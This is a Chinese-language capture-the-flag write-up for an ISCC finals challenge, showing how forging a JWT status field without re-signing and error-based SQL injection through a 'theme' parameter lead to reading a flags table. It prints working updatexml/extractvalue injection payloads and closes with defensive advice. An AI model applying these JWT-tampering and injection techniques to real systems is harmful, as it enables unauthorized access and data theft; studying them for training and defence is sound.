ISCC 决赛账号恢复大冒险:JWT 验签缺陷与 SQL 注入

一、题目背景

题目描述围绕“账号恢复”流程展开。整体思路不是爆破账号密码,而是从登录状态、恢复态身份和恢复接口中寻找逻辑缺陷。

最终利用链:

1
注册普通账号 -> 获取 JWT -> 篡改 status 为 RECOVERY -> 进入恢复态接口 -> SQL 报错注入 -> 读取 flags 表

二、信息收集

访问站点后可以看到普通登录和注册功能:

1
2
/login
/register

注册并登录普通用户后,服务端下发名为 token 的 JWT Cookie。解码后可以看到类似字段:

1
2
3
4
5
6
{
"uid": 47710,
"username": "test",
"status": "NORMAL",
"exp": 1779015980
}

其中 status 字段非常关键。题目主题是账号恢复,因此优先猜测恢复流程可能依赖该字段判断当前用户状态。

三、JWT 验签缺陷

将 JWT payload 中:

1
"status": "NORMAL"

修改为:

1
"status": "RECOVERY"

并且不重新签名,只保留原来的签名部分,服务端仍然接受该 token。

这说明后端存在 JWT 使用问题:

  • 只解码 JWT 内容。
  • 没有正确校验签名。
  • 客户端可以篡改身份状态。

status=RECOVERY 后,可以访问恢复流程相关页面和接口。

四、恢复接口分析

恢复页中存在偏好同步接口:

1
POST /api/v1/user/sync

请求体类似:

1
2
3
4
{
"theme": "dark",
"language": "zh"
}

页面提示需要尝试不同主题值验证身份,因此怀疑 theme 参数参与后端 SQL 查询。

五、SQL 注入确认

theme 传入单引号:

1
'

接口返回 SQL 报错,说明输入破坏了原 SQL 结构。

继续测试字段数量:

1
2
x' ORDER BY 1-- 
x' ORDER BY 2--

ORDER BY 2 返回未知列错误,说明原始查询结构较简单。

使用 MariaDB/MySQL 报错函数测试:

1
x' AND updatexml(1,concat(0x7e,database(),0x7e),1)-- 

回显得到数据库名:

1
jwt_downgrade

继续测试当前数据库用户:

1
x' AND extractvalue(1,concat(0x7e,user(),0x7e))-- 

回显:

1
app_user@localhost

说明该接口存在 error-based SQL injection。

六、利用细节

这里有一个容易踩的点:不要先访问 /recovery 页面再打注入。

如果先访问恢复页面,服务端可能生成临时数据库访问凭证,并让接口优先返回另一类错误,导致 updatexml 的报错内容被覆盖。

稳定流程:

1
2
3
4
5
登录拿普通 JWT
-> 修改 status=RECOVERY
-> 不访问 /recovery
-> 直接请求 /api/v1/user/sync
-> 通过报错注入读取数据

七、枚举数据库

枚举当前库表名:

1
2
3
4
5
x' AND updatexml(1,concat(0x7e,
(SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema=database()),
0x7e),1)--

回显表:

1
temp_credentials,users,flags

读取 flags 表字段:

1
2
3
4
5
x' AND updatexml(1,concat(0x7e,
(SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_name='flags'),
0x7e),1)--

最后读取 flag 字段即可。

八、漏洞总结

这道题的核心不是单独的 SQL 注入,而是两个漏洞串联:

环节 漏洞
身份状态 JWT 未正确验签
恢复接口 theme 参数存在 SQL 注入
结果获取 报错注入回显数据库内容

如果只看普通用户接口,可能找不到注入点;只有先通过 JWT 进入恢复态,才能访问关键接口。

九、防护建议

  • JWT 必须使用服务端密钥严格验签。
  • 不信任客户端传来的身份状态字段。
  • 恢复流程应在服务端维护状态,不应完全依赖 token payload。
  • SQL 查询使用预编译语句。
  • 关闭生产环境数据库详细报错。
  • 对敏感接口增加权限校验和操作审计。

十、复盘

这题很适合练习“逻辑漏洞 + 注入”的组合分析。做题时不能只盯输入框,还要关注登录态、Cookie、JWT、用户状态和隐藏业务流程。

完整攻击链说明:一个看似普通的 token 字段篡改,可能成为进入高危接口的入口;而高危接口中的 SQL 注入,最终完成敏感数据读取。